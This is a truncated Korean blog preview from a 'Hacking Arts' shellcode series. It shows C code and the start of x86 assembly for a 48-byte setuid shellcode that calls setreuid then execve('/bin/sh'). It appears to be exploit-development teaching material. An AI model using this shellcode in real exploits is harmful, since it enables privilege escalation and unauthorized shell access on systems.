목록48byte (1)
Hacking Arts
[Intel/x86] Setuid Shell code (48Byte)
#include int main(void){char *sh[2];sh[0]="/bin/sh";sh[1]=NULL;setreuid(geteuid(), geteuid());execve(sh[0], sh, 0);return 0;} -위 그림은 sh을 실행시키는 C코드다. .globl main main : push %ebpmov %esp,%ebp xor %eax,%eaxxor %ebx,%ebxxor %ecx,%ecxxor %edx,%edx mov $0x31,%alint $0x80mov %eax,%ebxmov %eax,%ecxxor %eax,%eaxmov $0x46,%alint $0x80 push %eaxpush $0x68732F2Fpush $0x6E69622Fmov %esp,%ebxpush %eaxpush %e..
System/Shellcode
2014. 9. 2. 00:34